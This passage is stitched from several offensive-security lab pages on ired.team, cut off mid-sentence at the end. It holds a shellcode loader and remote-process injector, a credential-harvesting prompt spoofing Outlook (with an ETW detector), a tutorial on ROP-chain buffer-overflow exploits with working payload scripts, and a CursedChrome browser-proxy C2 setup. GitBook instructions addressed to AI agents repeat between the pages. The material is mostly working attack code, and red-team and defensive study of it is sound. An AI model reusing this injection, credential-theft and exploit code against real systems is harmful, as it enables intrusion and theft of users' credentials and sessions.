"\\xe3\\xc1\\x8d\\x05\\x5c\\x71\\xe2\\x6b\\xea\\xf8\\xef\\xb8\\xdd\\xea\\x61" "\\xb4\\x22\\x80\\xcb\\xe5\\xe4\\x57\\x5a\\xad\\xd0\\x14\\x41\\x90\\xb8\\xad" "\\x94\\x64\\x5d\\xae\\x2b\\x90\\xe1\\xec"; PVOID buffer = VirtualAlloc(NULL, sizeof shellcode, (MEM\_RESERVE | MEM\_COMMIT), PAGE\_EXECUTE\_READWRITE); WriteProcessMemory(GetCurrentProcess(), buffer, shellcode, sizeof shellcode, NULL); CreateThread(NULL, 0, (LPTHREAD\_START\_ROUTINE)buffer, NULL, 0, NULL); MessageBoxA(NULL, "ACG not enabled - shellcode executed", "ACG not enabled - shellcode executed", 0); } case DLL\_THREAD\_ATTACH: case DLL\_THREAD\_DETACH: case DLL\_PROCESS\_DETACH: break; } return TRUE; } \`\`\` {% endtab %} {% tab title="injector.exe" %} \`\`\`cpp #include #include int main(int argc, char \*argv\[\]) { unsigned char shellcode\[\] = "\\x48\\x31\\xc9\\x48\\x81\\xe9\\xc6\\xff\\xff\\xff\\x48\\x8d\\x05\\xef\\xff" "\\xff\\xff\\x48\\xbb\\x1d\\xbe\\xa2\\x7b\\x2b\\x90\\xe1\\xec\\x48\\x31\\x58" "\\x27\\x48\\x2d\\xf8\\xff\\xff\\xff\\xe2\\xf4\\xe1\\xf6\\x21\\x9f\\xdb\\x78" "\\x21\\xec\\x1d\\xbe\\xe3\\x2a\\x6a\\xc0\\xb3\\xbd\\x4b\\xf6\\x93\\xa9\\x4e" "\\xd8\\x6a\\xbe\\x7d\\xf6\\x29\\x29\\x33\\xd8\\x6a\\xbe\\x3d\\xf6\\x29\\x09" "\\x7b\\xd8\\xee\\x5b\\x57\\xf4\\xef\\x4a\\xe2\\xd8\\xd0\\x2c\\xb1\\x82\\xc3" "\\x07\\x29\\xbc\\xc1\\xad\\xdc\\x77\\xaf\\x3a\\x2a\\x51\\x03\\x01\\x4f\\xff" "\\xf3\\x33\\xa0\\xc2\\xc1\\x67\\x5f\\x82\\xea\\x7a\\xfb\\x1b\\x61\\x64\\x1d" "\\xbe\\xa2\\x33\\xae\\x50\\x95\\x8b\\x55\\xbf\\x72\\x2b\\xa0\\xd8\\xf9\\xa8" "\\x96\\xfe\\x82\\x32\\x2a\\x40\\x02\\xba\\x55\\x41\\x6b\\x3a\\xa0\\xa4\\x69" "\\xa4\\x1c\\x68\\xef\\x4a\\xe2\\xd8\\xd0\\x2c\\xb1\\xff\\x63\\xb2\\x26\\xd1" "\\xe0\\x2d\\x25\\x5e\\xd7\\x8a\\x67\\x93\\xad\\xc8\\x15\\xfb\\x9b\\xaa\\x5e" "\\x48\\xb9\\xa8\\x96\\xfe\\x86\\x32\\x2a\\x40\\x87\\xad\\x96\\xb2\\xea\\x3f" "\\xa0\\xd0\\xfd\\xa5\\x1c\\x6e\\xe3\\xf0\\x2f\\x18\\xa9\\xed\\xcd\\xff\\xfa" "\\x3a\\x73\\xce\\xb8\\xb6\\x5c\\xe6\\xe3\\x22\\x6a\\xca\\xa9\\x6f\\xf1\\x9e" "\\xe3\\x29\\xd4\\x70\\xb9\\xad\\x44\\xe4\\xea\\xf0\\x39\\x79\\xb6\\x13\\xe2" "\\x41\\xff\\x32\\x95\\xe7\\x92\\xde\\x42\\x8d\\x90\\x7b\\x2b\\xd1\\xb7\\xa5" "\\x94\\x58\\xea\\xfa\\xc7\\x30\\xe0\\xec\\x1d\\xf7\\x2b\\x9e\\x62\\x2c\\xe3" "\\xec\\x1c\\x05\\xa8\\x7b\\x2b\\x95\\xa0\\xb8\\x54\\x37\\x46\\x37\\xa2\\x61" "\\xa0\\x56\\x51\\xc9\\x84\\x7c\\xd4\\x45\\xad\\x65\\xf7\\xd6\\xa3\\x7a\\x2b" "\\x90\\xb8\\xad\\xa7\\x97\\x22\\x10\\x2b\\x6f\\x34\\xbc\\x4d\\xf3\\x93\\xb2" "\\x66\\xa1\\x21\\xa4\\xe2\\x7e\\xea\\xf2\\xe9\\xd8\\x1e\\x2c\\x55\\x37\\x63" "\\x3a\\x91\\x7a\\xee\\x33\\xfd\\x41\\x77\\x33\\xa2\\x57\\x8b\\xfc\\x5c\\xe6" "\\xee\\xf2\\xc9\\xd8\\x68\\x15\\x5c\\x04\\x3b\\xde\\x5f\\xf1\\x1e\\x39\\x55" "\\x3f\\x66\\x3b\\x29\\x90\\xe1\\xa5\\xa5\\xdd\\xcf\\x1f\\x2b\\x90\\xe1\\xec" "\\x1d\\xff\\xf2\\x3a\\x7b\\xd8\\x68\\x0e\\x4a\\xe9\\xf5\\x36\\x1a\\x50\\x8b" "\\xe1\\x44\\xff\\xf2\\x99\\xd7\\xf6\\x26\\xa8\\x39\\xea\\xa3\\x7a\\x63\\x1d" "\\xa5\\xc8\\x05\\x78\\xa2\\x13\\x63\\x19\\x07\\xba\\x4d\\xff\\xf2\\x3a\\x7b" "\\xd1\\xb1\\xa5\\xe2\\x7e\\xe3\\x2b\\x62\\x6f\\x29\\xa1\\x94\\x7f\\xee\\xf2" "\\xea\\xd1\\x5b\\x95\\xd1\\x81\\x24\\x84\\xfe\\xd8\\xd0\\x3e\\x55\\x41\\x68" "\\xf0\\x25\\xd1\\x5b\\xe4\\x9a\\xa3\\xc2\\x84\\xfe\\x2b\\x11\\x59\\xbf\\xe8" "\\xe3\\xc1\\x8d\\x05\\x5c\\x71\\xe2\\x6b\\xea\\xf8\\xef\\xb8\\xdd\\xea\\x61" "\\xb4\\x22\\x80\\xcb\\xe5\\xe4\\x57\\x5a\\xad\\xd0\\x14\\x41\\x90\\xb8\\xad" "\\x94\\x64\\x5d\\xae\\x2b\\x90\\xe1\\xec"; HANDLE processHandle; HANDLE remoteThread; PVOID remoteBuffer; printf("Injecting to PID: %i", atoi(argv\[1\])); processHandle = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, DWORD(atoi(argv\[1\]))); remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM\_RESERVE | MEM\_COMMIT), PAGE\_EXECUTE\_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD\_START\_ROUTINE)remoteBuffer, NULL, 0, NULL); CloseHandle(processHandle); } \`\`\` {% endtab %} {% endtabs %} ## References {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/defense-evasion/acg-arbitrary-code-guard-processdynamiccodepolicy.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/credentials-collection-via-creduipromptforcredentials.md). # Credentials Collection via CredUIPromptForCredentials ## Purpose The purpose of this lab is to twofold: 1. write some code that invokes Windows credential prompt, that would allow malware or an attacker to collect targeted user's credentials once they are on the compromised machine 2. write some ETW code that detects processes invoking credential prompts ## Stealing User Credentials It is possible to collect user credentials with the below code: {% code title="credentialsprompt.cpp" %} \`\`\`cpp #include #include #include #pragma comment(lib, "Credui.lib") int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { CREDUI\_INFO ci = { sizeof(ci) }; std::wstring promptCaption = L"Microsoft Outlook"; std::wstring promptMessage = L"Connecting to spotless@offense.local"; ci.pszCaptionText = (PCWSTR)promptCaption.c\_str(); ci.pszMessageText = (PCWSTR)promptMessage.c\_str(); WCHAR username\[255\] = {}; WCHAR password\[255\] = {}; DWORD result = 0; result = CredUIPromptForCredentialsW(&ci, L".", NULL, 5, username, 255, password, 255, FALSE, CREDUI\_FLAGS\_GENERIC\_CREDENTIALS); if (result == ERROR\_SUCCESS) { HANDLE newToken = NULL; BOOL credentialsValid = FALSE; credentialsValid = LogonUserW(username, NULL, password, LOGON32\_LOGON\_INTERACTIVE, LOGON32\_PROVIDER\_DEFAULT, &newToken); if (credentialsValid) { // valid credentials provided } else { // invalid credentials provided } } else if (result == ERROR\_CANCELLED) { // no credentials provided } return 0; } \`\`\` {% endcode %} {% hint style="warning" %} Although in this lab I am using \`CredUIPromptForCredentials\` for invoking credentials prompt, you should be using \[\`CredUIPromptForWindowsCredentials\`\](https://docs.microsoft.com/windows/desktop/api/wincred/nf-wincred-creduipromptforwindowscredentialsa) {% endhint %} If we compile and run the above code, we get a credential prompt, that captures user's credentials in plain text, which we could then save to a file or send out over the internet: !\[\](/files/-M8qiCC4ff4jzQo3TgCI) {% hint style="info" %} The above credential prompt can also be invoked with PowerShell cmdlet \`Get-Credential\`. {% endhint %} ## Detecting Credential Prompts As a defender, one may want to know what processes are popping these credential prompts, so that malicious ones could be detected - i.e if you are notified that suddenly some unusual process showed a prompt, it may mean that the process is infected and the machine is compromised. Detection of programs showing credential prompts is possible with \[Event Tracing for Windows (EWT)\](/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101.md#terminology) - Microsoft-Windows-CredUI provider to the rescue: !\[\](/files/-M8qjyKu4UUrEObPUm1G) Looking at the provider Microsoft-Windows-CredUI in ETWExplorer, we can see that it can provide consumers with events for both \`CredUIPromptForCredentials\` and \`CredUIPromptForWindowsCredentials\` invokations: !\[\](/files/-M8qkGWpvypiQJ4fkiEK) We can create an ETW tracing session and subscribe to events from Microsoft-Windows-CredUI provider with C# like so: {% code title="credentialsprompt-detection.cs" %} \`\`\`csharp # based on https://github.com/zodiacon/DotNextSP2019/blob/master/SimpleConsumer/Program.cs using Microsoft.Diagnostics.Tracing.Session; using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Text; using System.Threading.Tasks; namespace SimpleConsumer { static class Programa { static void Main(string\[\] args) { using (var session = new TraceEventSession("spotless-credential-prompt")) { Console.CancelKeyPress += delegate { session.Source.StopProcessing(); session.Dispose(); }; session.EnableProvider("Microsoft-Windows-CredUI", Microsoft.Diagnostics.Tracing.TraceEventLevel.Always); var parser = session.Source.Dynamic; parser.All += e => { if (e.OpcodeName == "Start") { Console.WriteLine($"{e.TimeStamp} > Credential Prompt detected in {Process.GetProcessById(e.ProcessID).ProcessName}.exe (PID={e.ProcessID})"); } }; session.Source.Process(); } } } } \`\`\` {% endcode %} ## Demo Below shows RogueCredentialsPrompt.exe and Powershell.exe invoking Windows credential prompts and our simple consumer program detecting that activity: !\[\](/files/-M8qmzZuTuuhw9cZg9eN) ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/credential-access-and-credential-dumping/credentials-collection-via-creduipromptforcredentials.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming.md). # ROP Chaining: Return Oriented Programming The purpose of this lab is to familiarize with a binary exploitation technique called Return Oriented Programming (ROP), ROP chains / ROP gadgets. The technique is used to bypass Data Execution Protection (DEP). {% hint style="warning" %} Don't forget to disable the ASLR for this lab to work: \`\`\` echo 0 > /proc/sys/kernel/randomize\_va\_space \`\`\` {% endhint %} ## 1st ROP Chain ### Vulnerable Code We wil exploit the following code in a program \`rop1a\` that is intentionally vulnerable with a classic stack-based overflow: {% tabs %} {% tab title="rop1a.c" %} \`\`\`c #include #include void rop1() { printf("ROP 1!\\n"); } void rop2() { printf("ROP 2!\\n"); } void rop3() { printf("ROP 3!\\n"); } void vulnerable(char\* string) { char buffer\[100\]; strcpy(buffer, string); } int main(int argc, char\*\* argv) { vulnerable(argv\[1\]); return 0; } \`\`\` {% endtab %} {% endtabs %} The above program starts executing at \`main()\`, which calls \`vulnerable()\` where the user supplied buffer will be copied into the variable \`buffer\[100\]\`. Note that there are 3 functions \`rop1\`, \`rop2\` and \`rop3\` that are never called during the normal program execution, but that's about to change and this is the purpose of this lab - we're going to exploit the stack-based overflow and force the program to call all those rop functions one after another. ### Objective We're going to exploit the classic stack-based overflow vulnerability in the function \`vulnerable\` in the above code to trigger the functions \`rop1()\`, \`rop2()\` and \`rop3()\` sequentially, that are otherwise not called during the vulnerable program's runtime. Additionally, after the \`rop3()\` function completes, we will make the program call the libc function \`exit()\`, so that after the exploit completes its job, the program exits gracefully rather than with a crash. {% hint style="info" %} The sequence of called functions \`rop1() --> rop2() --> rop3() --> exit()\` forms a chain and this is where the term ROP chains come from. {% endhint %} ### Stack Layout The key thing to understand with ROP chaining is the stack layout. In our case, the payload that we send to the vulnerable program needs to overflow the stack and populate it in such a way, that the exploited program calls our wanted functions in the following order: 1. \`rop1()\` 2. \`rop2()\` 3. \`rop3()\` 4. \`exit()\` In other words, we need to ensure that the stack in our vulnerable program \`rop1a\`, when the \`vulnerable\` function completes and is about to execute the \`ret\` instruction to return to the caller function \`main\`, is organized like this: !\[We need to make sure the overflowed stack looks like this\](/files/-Me6KYaayNFaBqGoR\_CX) If we think about the above graphic, we will realize that once the stack is overflowed, the following will happen when the vulnerable program continues its execution: 1. The \`vulnerable\` function will return/jump to the \`rop1()\`. Note that before we overflowed the stack, this would have been a return address back to the \`main\` function, to be precise - the \`return 0\` statement in line 26 as seen in the \[Vulnerable Code\](/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming.md#vulnerable-code) secion; 2. Once \`rop1()\` completes, it will execute the \`ret\` instruction, which will pop the \`rop2()\` function address off the stack and jump to it; 3. Once \`rop2()\` completes, it will execute the \`ret\` instruction, which will pop the \`rop3()\` function address off the stack and jump to it; 4. Once \`rop3()\` completes, it will execute the \`ret\` instruction, which will pop the \`exit()\` function address off the stack and jump to it; We will later confirm this with gdb in the \[Inspecting the Stack\](/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming.md#inspecting-the-stack) section. ### Payload Based on the above graphic and stack understanding so far, our payload should look something like this: \`\`\` payload = AAAAs... + BBBB + &rop1 + &rop2 + &rop3 + &exit \`\`\` ...or for easier cross-reference - using the same colours as those seen in the above stack layout diagram: !\[Payload structure visualized\](/files/-MeFiih5cWrARosj4qs8) Let's find out the values we need to populate our payload with. Compile our vulnerable program \`rop1a\`: \`\`\`python gcc -m32 -fno-stack-protector -z execstack rop1a.c -o rop1a \`\`\` Start debugging it with \[gdb-peda\](https://github.com/longld/peda) and put a breakpoint on \`main()\` and continue execution: \`\`\`python gdb rop1a b main c \`\`\` Now, let's find out addresses for our functions \`rop1\`, \`rop2\`, \`rop3\` and \`exit\`: \`\`\`csharp gdb-peda$ p rop1 $1 = {} 0x565561a9 gdb-peda$ p rop2 $2 = {} 0x565561d4 gdb-peda$ p rop3 $3 = {} 0x565561ff gdb-peda$ p exit $4 = {} 0xf7e02950 \`\`\` Below shows the function addresses in gdb: !\[Key function addresses to be used in the payload\](/files/-Mb31CmMnPjEExI7eQNu) Having found the function addreses, our payload visualization can now be updated like this: !\[Payload structure with ROP function addresses\](/files/-MeFiAOQAZD36DVLSqxV) The last thing we need to know is how many AAAAs we must send in to the \`vulnerable\` program before we can take over the EIP and overwrite the return address of the \`vulnerable\` function and point it to our first ROP chain function - \`rop1\`. Below screenshot indicates that the offset of interest is 112 (0x70), or in other words, we need to send 112 A characters to smash the stack: !\[EIP offset\](/files/-Mb3DDBtnV4rOvbnEQes) See below notes for more details on how to find the offset at which we can overwrite the \`vulnerable\` function's return address: {% content-ref url="/pages/-MXGqWDEDWYaShWhb0tP" %} \[32-bit Stack-based Buffer Overflow\](/offensive-security/code-injection-process-injection/binary-exploitation/stack-based-buffer-overflow.md) {% endcontent-ref %} Knowing the EIP offset, we can now now visualize the full payload like this: !\[Payload structure with correct EIP offset and ROP function addresses\](/files/-MeFjA-s1gpKQLkCKpGu) ### Exploit We can now construct the full payload in python and send it to our vulnerable program \`rop1a\` like this: \`\`\`python ./rop1a "$(python -c 'print "A"\*108 + "BBBB" + "\\xa9\\x61\\x55\\x56" + "\\xd4\\x61\\x55\\x56" + "\\xff\\x61\\x55\\x56" + "\\x50\\x29\\xe0\\xf7"')" \`\`\` If we execute it, we can see that\`rop1\`, \`rop2\` and \`rop3\` functions are called successfully as they each call their respective \`printf()\` statements: !\[1st ROP chain in action\](/files/-Mb3FeapAizXUMECkoDW) Note how the program did not crash with some segfault - this is because \`rop3\` called \`exit\` upon return. To re-inforce this understanding, we will see how that came to be in the below section. ### Inspecting the Stack Layout Let's explore the stack layout of the vulnerable program \`rop1a\` when the \`vulnerable()\` function gets exploited and is about to return after it completes executing - when the CPU is about to execute the \`ret\` instruction. Below screenshot shows the initial diagram on the left, indicating how we needed the stack to look like during the exploitation and gdb screenshots on the right, that confirm we successfully built the required stack: !\[Stack layout during vulnerable function's execution\](/files/-Me6McuujFXfLVCdFoRp) From the above screenshot, note the following key points: 1. \`vulnerable()\` function is about to execute the \`ret\` instruction at \`0x56556254\`; 2. \`ret\` instruction will pop the top-most value from the stack, which is a memory address of the \`rop1()\` function and jump to it, this way kicking off our ROP chain execution. Next, once \`rop1()\` is about to return, the \`ret\` instruction will pop the top-most value from the stack, which is a memory location of \`rop2()\` and jump to it: !\[rop1 is about to return, pop the rop2 address from the stack and jump to it\](/files/-Mb8BWJ9D3ivDyeFVQgC) Once \`rop2()\` is about to return, the \`ret\` instruction will pop the top-most value from the stack, which is a memory location of \`rop3()\` and jump to it: !\[rop2 is about to return, pop the rop3 address from the stack and jump to it\](/files/-Mb8BrV9Aq6FL8XoXTdY) Once \`rop3()\` is about to return, the \`ret\` instruction will pop the top-most value from the stack, which is a memory location of \`exit()\` and jump to it: !\[rop3 is about to return, pop the exit address from the stack and jump to it\](/files/-Mb8CJXa60K96Xfuiu70) This illustrates how we managed to build our first ROP chain by organizing the stack in such a way that forced the vulnerable program to call \`rop1\`, which upon return called \`rop2\`, which upon return called \`rop3\`, which upon return called \`exit\`: !\[1st ROP chain in action\](/files/-Mb3FeapAizXUMECkoDW) ## 2nd ROP Chain Our first ROP chain called 4 functions and none of them were called with arguments. Let's build our second ROP chain that will call functions with some arguments and see how we need to build the stack this time around. ### Vulnerable Code We're going to re-use the same code, but modify it so that \`rop2\` and \`rop3\` functions will take 1 and 2 arguments respectively and will print them out accordingly when called: {% tabs %} {% tab title="rop1b.c" %} \`\`\`c #include #include void rop1() { printf("ROP 1!\\n"); } void rop2(int a) { printf("ROP 2: %x!\\n", a); } void rop3(int a, int b) { printf("ROP 3: %x, %x!\\n", a, b); } void vulnerable(char\* string) { char buffer\[100\]; strcpy(buffer, string); } int main(int argc, char\*\* argv) { vulnerable(argv\[1\]); return 0; } \`\`\` {% endtab %} {% endtabs %} ### Objective The objective is to subvert our vulnerable program \`rop1b\` and make it call functions \`rop1\`, \`rop2\`, \`rop3\` and \`exit\` the same way we did it with our first ROP chain, however, this time \`rop2\` function is declared as \`rop2(int a)\` and \`rop3\` as \`rop3(int a, int b)\`, meaning we will have to somehow (hint: using stack) pass 1 argument to \`rop2\` and 2 arguments to \`rop3\`. ### Stack Layout Below shows what the stack needs to look like this time. Annotations explain the purpose of each memory address or value on the stack: !\[Required stack layout for our 2nd ROP chain\](/files/-Me6N03HxfivnVlXvDsO) To re-inforce, stack for our second ROP chain has the following key differences when compared to the stack of the first ROP chain: 1. Stack contains arguments for functions \`rop2\` and \`rop3\`; 2. Stack contains 2 additional memory addresses, called ROP gadgets: 1. \`pop ret\` - for popping off the \`arg1\` argument that was passed to \`rop2\` function and then jumping to \`rop3\` (because \`ret\` instruction will pop the \`rop3\` address off the stack that will be at the top once the \`arg1\` is removed from the stack, and jump to it); 2. \`pop pop ret\` - for popping off the 2 arguments \`arg1\` and \`arg2\` (hence 2 pops) that were passed to the \`rop3\` function and then jumpt to \`exit\` (because \`ret\` instruction will pop the \`exit\` address off the top of the stack that will be there after the 2 arguments are removed). ### ROP Gadgets {% hint style="info" %} \* ROP gadgets are sequences of CPU instructions that are already present in the program being exploited or its loaded shared libraries and can be used to execute almost any arbitrary code; \* ROP gagdgets most often end with the \`ret\` instruction; \* ROP gadgets bypass the DEP (NX bit protection), since there is no executable code being injected to and executed from the stack, instead existing executable code is used to achieve the same malicious intent. {% endhint %} In gdb-peda, we can find addresses of the 2 gadgets that we are interested in (\`popret\` for \`rop2\` and \`pop2ret\` for \`rop3\`) by issuing the \`ropgadet\` command: !\[ropgadgets in rop1b vulnerable program\](/files/-Mb8ZcGJI677JEQ52Tl-) \`\`\`python gdb-peda$ ropgadget ret = 0x5655600a popret = 0x5655601e pop2ret = 0x5655630a pop3ret = 0x56556309 pop4ret = 0x56556308 addesp\_12 = 0x5655601b addesp\_16 = 0x565560fe \`\`\` To confirm that the rop gadget does what it says it will, we can inspect the instructions for the rop gadget \`popret = 0x5655601e\` and we will see that it indeed contains 2 CPU instrutions \`pop ebx & ret\`: !\[popret ROP gadget instructions\](/files/-Mb8eVa40c8TAKEzNjEi) ### Payload Now that we know how the stack should look like, let's build the payload for our second ROP chain. First off, let's get addresses of our \`rop1\`, \`rop2\`, \`rop3\` and the libc \`exit\` functions: \`\`\`python gdb-peda$ p rop1 $4 = {} 0x565561b9 gdb-peda$ p rop2 $5 = {} 0x565561e4 gdb-peda$ p rop3 $6 = {} 0x56556212 gdb-peda$ p exit $7 = {} 0xf7e02950 \`\`\` !\[rop1, rop2, rop3 and exit function addresses inside rop1b vulnerable program\](/files/-MbDLsP5hjrkcv4ygs-F) Let's also note the \`popret\` and \`pop2ret\` gagdet addresses: !\[ROP gadget addresses for rop1b vulnerable program\](/files/-MbDMKoDUBEZBQmbOuPf) Since we now know how the stack needs to look like and we have addresses for our functions and ROP gadgets, we can visualize our payload like this: !\[Visualized payload for the 2nd ROP chain\](/files/-Me6WX4FD6vcIt2DeXGN) ### Exploit We can now translate the above visualized payload to python like so: \`\`\`python ./rop1b "$(python -c 'print "A"\*108 + "BBBB" + "\\xb9\\x61\\x55\\x56" + "\\xe4\\x61\\x55\\x56" + "\\x1e\\x60\\x55\\x56" + "\\xef\\xbe\\xef\\xbe" + "\\x12\\x62\\x55\\x56" + "\\x0a\\x63\\x55\\x56" + "\\xad\\xde\\xad\\xde" + "\\xd3\\xc0\\xd3\\xc0" + "\\x50\\x29\\xe0\\xf7" ')" \`\`\` Below shows how the above payload is sent to the vulnerable program \`rop1b\`, that executes \`rop1\`, \`rop2\` with argument \`0xbeefbeef\` that gets printed out and \`rop3\` with 2 arguments \`0xdeaddead\` and \`0xc0d3cod3\` which too get printed and finally gracefully exits: !\[2nd ROP chain with arguments and rop gadgets works as expected\](/files/-Mb8ZrXUspRc3P9YGIez) ### Inspecting the Stack Layout To avoid repeating what we saw in the \[Stack Layout\](/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming.md#stack-layout) section for our first ROP chain, let's just see how the \`pop2ret\` ROP gadget works and how it affects the stack during execution, since that is the only difference worth mentioning: !\[Inspecting the stack layout\](/files/-MbDrlZxb1bhBaJo7NjH) Note the following key points from the above gif: \* We're on a breakpoint inside the \`rop3\` function, where it's about to return by executing the \`ret\` instruction; \* At the top of the stack, there's an address of a \`pop2ret\` ROP gadget with \`pop edi; pop ebp; ret\` instructions inside a libc shared library loaded by our vulnerable program; \* \`0xdeaddead\` and \`0xc0d3c0d3\` are on the stop of the stack, just below the \`pop2ret\` address; \* Once the \`ret\` is executed, the code jumps to the said \`pop2ret\` ROP gagdet; \* \`pop2ret\` instructions \`pop edi; pop ebp\` execute and \`0xdeaddead\` and \`0xc0d3c0d3\` are popped from the stack; \* Address of the libc \`exit()\` function is now on top of the stack; \* Finally, \`ret\` instruction executes, which pops the \`exit()\` address from the stack and jumps to it, completing our second ROP chain execution and gracefully closing the vulnerable program. {% hint style="info" %} We could have chosen to inspect the \`popret\` gadget and we would have seen a nearly identical behaviour to the one noted above, except that \`popret\` would have popped only one value from the stack before executing the \`ret\` instruction. {% endhint %} ## Useful Python ### Little Endian Converter Below is a useful python snippet that converts a given memory address, i.e \`0x565561d4\`, to it's little-endian format, i.e \`\\\\xd4\\\\x61\\\\x55\\\\x56\`: \`\`\`python import struct '\\\\x' + '\\\\x'.join(x.encode('hex') for x in struct.pack('I', 0x565561d4)).encode("utf-8") '\\\\xd4\\\\x61\\\\x55\\\\x56' \`\`\` ### Payload Executor Below shows an easy way to build the stack using \`struct.pack\` that does not require us to deal with little-endiannes when specifying memory addresses in the exploit: \`\`\`python #!/usr/bin/env python import os import struct pop\_ret = 0x5655601e pop\_pop\_ret = 0x5655630a rop1 = 0x565561b9 rop2 = 0x565561e4 rop3 = 0x56556212 exit = 0xf7e02950 # Build the stack # Overflow payload = "A"\*108 payload += "BBBB" # Address of rop1() payload += struct.pack("I", rop1) # Address of rop2(), address of pop ret and an argument for rop2() payload += struct.pack("I", rop2) payload += struct.pack("I", pop\_ret) payload += struct.pack("I", 0xbeefbeef) # Address of rop3(), adress of pop pop ret, and arguments 1 and 2 payload += struct.pack("I", rop3) payload += struct.pack("I", pop\_pop\_ret) payload += struct.pack("I", 0xdeaddead) payload += struct.pack("I", 0xc0dec0de) # Address of exit() payload += struct.pack("I", exit) # Execute the full payload os.system("./rop1b '" + payload + "'") \`\`\` Once the payload is constructed, we can execute it: \`\`\` python payload.py \`\`\` !\[ROP chains executed successfully\](/files/-Me6Y3\_F33vR7YgOltH2) ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/lateral-movement/man-in-the-browser-via-chrome-extension.md). # Man-in-the-Browser via Chrome Extension ## Overview This is a quick lab to familiarize with a \[CursedChrome\](https://github.com/mandatoryprogrammer/CursedChrome) Chrome extension, which at a high level works in the following way: 1. CursedChrome extension is added to Chrome on a compromised computer; 2. Compromised computer's Chrome connects back to an attacker controlled CursedChrome C2 server. Comromised computer's Chrome now acts as a proxy into the compromised network; 3. Attacker can now proxy web requests through the compromised computer's Chrome and reach any internal web application that the compromised user/computer can access. The beauty of this technique is in the fact that the attacker's web requests leverage cookies stored in the compromised Chrome browser, which means that if a compromised user is logged on to some web application the attacker is interested in, the attacker no longer requires to authenticate to that application in order to access it as their HTTP request will re-use the existing cookies from the compromised Chrome and will be let in without being asked to provide credentials. The extension \[author\](https://github.com/mandatoryprogrammer) visualizes the whole process like so: !\[Source: https://github.com/mandatoryprogrammer/CursedChrome\](/files/-MjowVg8JF5dIs6sU9X0) ## Environment Below is a list of systems involved in this lab: \* 18.130.61.92 - CursedChrome C2 server; \* 10.0.0.7 - attacker computer \`WS01\`; \* x.x.x.x - compromised computer in some other network outside the \`WS01\` computer's network. ## Setup ### CursedChrome C2 Server On the CursedChrome C2 server, pull the CusedChrome git repo, enter it and spin up the CursedChrome server using \`docker-compose\` with the following commands: \`\`\`bash git clone https://github.com/mandatoryprogrammer/CursedChrome.git /opt/ cd /opt/CursedChrome docker-compose up -d redis db docker-compose up cursedchrome \`\`\` After running the above \`docker-compose\`, you should see the below screen: !\[CursedChrome C2 server installed and configured\](/files/-Mjon1y\_njY2EnS\_lpRe) Save the username and password for later as these will be required when connecting to the CursedChrome C2 web console: \`\`\` USERNAME: admin PASSWORD: 9iax0t2gpbd9skqf0p2z8ry53k9s144x \`\`\` Additionally, note that the CursedChrome's web console is listening on \`127.0.0.1:8118\` and 